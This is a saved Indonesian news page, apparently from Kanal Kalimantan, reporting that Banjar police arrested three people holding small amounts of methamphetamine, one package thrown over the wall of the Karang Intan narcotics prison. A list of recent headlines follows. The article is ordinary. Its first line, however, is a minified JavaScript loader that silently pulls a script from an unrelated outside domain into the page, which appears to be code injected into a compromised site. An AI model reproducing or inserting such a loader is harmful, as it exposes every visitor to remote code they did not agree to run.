(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dibuntuti Polisi, 2 Lelaki ini Ambil Sabu di Belakang Lapas Narkotika


MARTAPURA, Satuan Reserse Narkoba Polres Banjar berhasil mengungkap 3 kasus tindak pidana narkotika, 3 tersangka berhasil diamankan, Kamis (24/5). Sat Resnarkoba Polres Banjar melakukan pengintaian di Lapas Narkotika Klas 2 Karang Intan, pasca terungkapnya 82 paket sabu yang gagal edar di Lapas itu.

Kapolres Banjar AKBP Takdir Mattanete melalui Kasat Resnarkoba Iptu Achmad Jarkasi mengatakan, pada Kamis (24/5) sekitar pukul 13.00 Wita, di belakang bangunan Lapas Narkotika Klas II Karang Intan Kabupaten Banjar, polisi berhasil mengamankan 2 orang pelaku A alias Kentung dan MHA alias Bolang.

Kedua orang terbukti tertangkap tangan miliki sabu-sabu 0,40 gram, satu sobekan plastik warna hijau, satu buah Hp Nokia warna hitam, satu lembar Resi Bank BRI an. Hamriah, satu buah batu dan uang tunai sebesar Rp 37.000.

Pada saat dilakukan penangkapan terhadap para pelaku ditemukan barang bukti berupa satu paket sabu-sabu yg diikat dengan plastik dan diberi batu sebagai pemberat yg ditemukan di dekat pelaku A yang diakui adalah miliknya.

Menurut Iptu Jarkasi, paket sabu tersebut dilempar dari dalam Lapas Narkotika Klas II Karang Intan yang merupakan pesanan A dan MHA dengan cara urunan uang bersama. “Kedua pelaku dan barang bukti diamankan ke Polres Banjar untuk proses hukum lebih lanjut,” sahutnya.

Tepisah, Sat Narkoba Polres Banjar juga berhasil mengamankan S alias Isah (26) warga desa Mandikapau, Kecamatan Karang Intan yang memiliki paket sabu-sabu 0,31 gram.

“Pada saat dilakukan penangkapan S ditemukan barang bukti berupa satu paket sabu-sabu yang sempat dijatuhkan pelaku ke tanah dekat pelaku berada dan selanjutnya pelaku beserta barang bukti dibawa ke Polres Banjar,” terangnya.

Penangkapan 3 orang pelaku tersebut merupakan pengembangan dari kasus barang bukti 82 paket sabu senilai Rp 20 juta di Lapas Narkotika Klas II A Karang Intan yang berhasil gagal edar setelah ditemukan petugas Lapas Karang Intan, Selasa (15/5). (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.